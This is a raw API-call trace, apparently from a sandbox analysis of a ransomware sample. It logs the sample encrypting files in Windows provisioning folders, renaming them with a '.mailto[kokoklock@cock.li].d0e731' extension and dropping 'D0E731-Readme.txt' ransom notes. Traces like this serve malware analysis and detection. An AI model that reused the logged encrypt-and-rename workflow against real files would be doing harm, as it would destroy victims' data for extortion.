[0084.490] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34806d8 [0084.490] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c808 [0084.490] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c808) returned 1 [0084.490] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0084.490] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.490] ReadFile (in: hFile=0x9bc, lpBuffer=0x348d230, nNumberOfBytesToRead=0xfb, lpNumberOfBytesRead=0x2b9bfad0, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2b9bfad0*=0xfb, lpOverlapped=0x0) returned 1 [0084.490] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9bfa98 | out: lpNewFilePointer=0x0) returned 1 [0084.490] WriteFile (in: hFile=0x9bc, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x2b9bfacc, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2b9bfacc*=0xfb, lpOverlapped=0x0) returned 1 [0084.490] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c808 [0084.490] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cfb0 [0084.490] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cfb0) returned 1 [0084.490] WriteFile (in: hFile=0x9bc, lpBuffer=0x342c808*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2b9bfac8, lpOverlapped=0x0 | out: lpBuffer=0x342c808*, lpNumberOfBytesWritten=0x2b9bfac8*=0x20, lpOverlapped=0x0) returned 1 [0084.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c808) returned 1 [0084.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0084.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34806d8) returned 1 [0084.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0084.491] WriteFile (in: hFile=0x9bc, lpBuffer=0x342cf88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2b9bfaf4, lpOverlapped=0x0 | out: lpBuffer=0x342cf88*, lpNumberOfBytesWritten=0x2b9bfaf4*=0x8, lpOverlapped=0x0) returned 1 [0084.491] WriteFile (in: hFile=0x9bc, lpBuffer=0x2b9bfb0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2b9bfaf4, lpOverlapped=0x0 | out: lpBuffer=0x2b9bfb0c*, lpNumberOfBytesWritten=0x2b9bfaf4*=0x4, lpOverlapped=0x0) returned 1 [0084.491] WriteFile (in: hFile=0x9bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2b9bfaf4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2b9bfaf4*=0x4, lpOverlapped=0x0) returned 1 [0084.491] WriteFile (in: hFile=0x9bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2b9bfaf4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2b9bfaf4*=0x6c, lpOverlapped=0x0) returned 1 [0084.491] WriteFile (in: hFile=0x9bc, lpBuffer=0x342ca88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2b9bfaf4, lpOverlapped=0x0 | out: lpBuffer=0x342ca88*, lpNumberOfBytesWritten=0x2b9bfaf4*=0x20, lpOverlapped=0x0) returned 1 [0084.491] WriteFile (in: hFile=0x9bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2b9bfaf4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2b9bfaf4*=0x4, lpOverlapped=0x0) returned 1 [0084.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca88) returned 1 [0084.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0084.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf88) returned 1 [0084.491] CloseHandle (hObject=0x9bc) returned 1 [0084.492] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x106) returned 0x3479e38 [0084.492] wcscpy (in: _Dest=0x3479e38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml" [0084.492] wcscat (in: _Dest=0x3479e38, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0084.492] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.492] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.492] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e38) returned 1 [0084.492] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 0 [0084.493] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x34946d8 [0084.493] wcscpy (in: _Dest=0x34946d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\" [0084.493] wcscat (in: _Dest=0x34946d8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\D0E731-Readme.txt" [0084.493] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\d0e731-readme.txt")) returned 0xffffffff [0084.493] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9bc [0084.493] WriteFile (in: hFile=0x9bc, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2b9bfaf0, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2b9bfaf0*=0x481, lpOverlapped=0x0) returned 1 [0084.494] CloseHandle (hObject=0x9bc) returned 1 [0084.494] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34946d8) returned 1 [0084.494] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f7208) returned 1 [0084.494] RtlExitUserThread (Status=0x1) Thread: id = 1243 os_tid = 0x13e0 [0084.496] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3487cb0 [0084.496] wcscpy (in: _Dest=0x3487cb0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime" [0084.496] wcscat (in: _Dest=0x3487cb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\" [0084.496] wcscat (in: _Dest=0x3487cb0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\*" [0084.496] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f5458 [0084.496] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\*", lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0658 [0084.497] wcscmp (_String1=".", _String2=".") returned 0 [0084.497] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.497] wcscmp (_String1="..", _String2=".") returned 1 [0084.497] wcscmp (_String1="..", _String2="..") returned 0 [0084.497] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fdcb85, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fdcb85, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fdcb85, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0084.497] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml", _String2=".") returned 1 [0084.497] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml", _String2="..") returned 1 [0084.497] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x342a6c8 [0084.497] wcscpy (in: _Dest=0x342a6c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime" [0084.497] wcscat (in: _Dest=0x342a6c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\" [0084.497] wcscat (in: _Dest=0x342a6c8, _Source="0__Power_EnergyEstimationEngine.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" [0084.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x342a6c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x44c [0084.720] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x33f5458 | out: lpFindFileData=0x33f5458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fdcb85, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fdcb85, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fdcb85, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 0 [0084.720] FindClose (in: hFindFile=0x33e0658 | out: hFindFile=0x33e0658) returned 1 [0084.720] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f5458) returned 1 [0084.720] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3487cb0) returned 1 [0084.720] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3432488) returned 1 [0084.720] RtlExitUserThread (Status=0x0) Thread: id = 1244 os_tid = 0x13e4 [0084.497] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime.xml")) returned 0x20 [0084.498] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 1 [0084.498] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8e0 [0084.498] GetFileSizeEx (in: hFile=0x8e0, lpFileSize=0x2babf8b4 | out: lpFileSize=0x2babf8b4*=460) returned 1 [0084.498] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.498] ReadFile (in: hFile=0x8e0, lpBuffer=0x2babf888, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2babf884, lpOverlapped=0x0 | out: lpBuffer=0x2babf888*, lpNumberOfBytesRead=0x2babf884*=0x4, lpOverlapped=0x0) returned 1 [0084.499] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.499] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf88 [0084.499] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cfb0 [0084.499] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cfd8 [0084.499] NtQuerySystemTime (in: CurrentTime=0x2babf860 | out: CurrentTime=0x2babf860*=132121176423985408) returned 0x0 [0084.499] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0xf1508ed5 [0084.499] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0x1d5dfb32 [0084.499] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0x8abbea5f [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0xbfcaae67 [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0x1cfeb3c7 [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0x2c44f9f7 [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0x75742c76 [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0x957dec85 [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0xea78afc9 [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0x254d3b2f [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0xa51cbfa1 [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0xbcee455c [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0xb83aed5 [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0x55b2bab5 [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0xa0e316d [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0xcfdb4f1b [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0x4a7848f8 [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0xab76ece9 [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0xb5600a3a [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0x15cff6eb [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0xbb258deb [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0x91df2578 [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0x2b8a2545 [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0x156fee5 [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0x3d835705 [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0x743ee0 [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0x3ec4f49c [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0xab3681c5 [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0x6d919e12 [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0x96ffaddd [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0x8b7f46d0 [0084.500] RtlRandom (in: Seed=0x2babf86c | out: Seed=0x2babf86c) returned 0xee22b5a6 [0084.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ff58) returned 1 [0084.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf88) returned 1 [0084.511] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0084.511] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0084.511] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf88 [0084.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf88) returned 1 [0084.511] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0084.511] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.511] ReadFile (in: hFile=0x8e0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x1cc, lpNumberOfBytesRead=0x2babf860, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2babf860*=0x1cc, lpOverlapped=0x0) returned 1 [0084.511] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2babf828 | out: lpNewFilePointer=0x0) returned 1 [0084.511] WriteFile (in: hFile=0x8e0, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x1cc, lpNumberOfBytesWritten=0x2babf85c, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2babf85c*=0x1cc, lpOverlapped=0x0) returned 1 [0084.511] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf88 [0084.511] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d320 [0084.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0084.511] WriteFile (in: hFile=0x8e0, lpBuffer=0x342cf88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2babf858, lpOverlapped=0x0 | out: lpBuffer=0x342cf88*, lpNumberOfBytesWritten=0x2babf858*=0x20, lpOverlapped=0x0) returned 1 [0084.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf88) returned 1 [0084.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0084.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0084.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0084.512] WriteFile (in: hFile=0x8e0, lpBuffer=0x342d578*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2babf884, lpOverlapped=0x0 | out: lpBuffer=0x342d578*, lpNumberOfBytesWritten=0x2babf884*=0x8, lpOverlapped=0x0) returned 1 [0084.512] WriteFile (in: hFile=0x8e0, lpBuffer=0x2babf89c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2babf884, lpOverlapped=0x0 | out: lpBuffer=0x2babf89c*, lpNumberOfBytesWritten=0x2babf884*=0x4, lpOverlapped=0x0) returned 1 [0084.512] WriteFile (in: hFile=0x8e0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2babf884, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2babf884*=0x4, lpOverlapped=0x0) returned 1 [0084.512] WriteFile (in: hFile=0x8e0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2babf884, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2babf884*=0x6c, lpOverlapped=0x0) returned 1 [0084.512] WriteFile (in: hFile=0x8e0, lpBuffer=0x342cfb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2babf884, lpOverlapped=0x0 | out: lpBuffer=0x342cfb0*, lpNumberOfBytesWritten=0x2babf884*=0x20, lpOverlapped=0x0) returned 1 [0084.512] WriteFile (in: hFile=0x8e0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2babf884, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2babf884*=0x4, lpOverlapped=0x0) returned 1 [0084.512] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cfb0) returned 1 [0084.512] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d028) returned 1 [0084.512] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0084.512] CloseHandle (hObject=0x8e0) returned 1 [0084.512] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x106) returned 0x3479e38 [0084.512] wcscpy (in: _Dest=0x3479e38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml" [0084.512] wcscat (in: _Dest=0x3479e38, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0084.512] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.514] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.514] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e38) returned 1 [0084.514] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml", 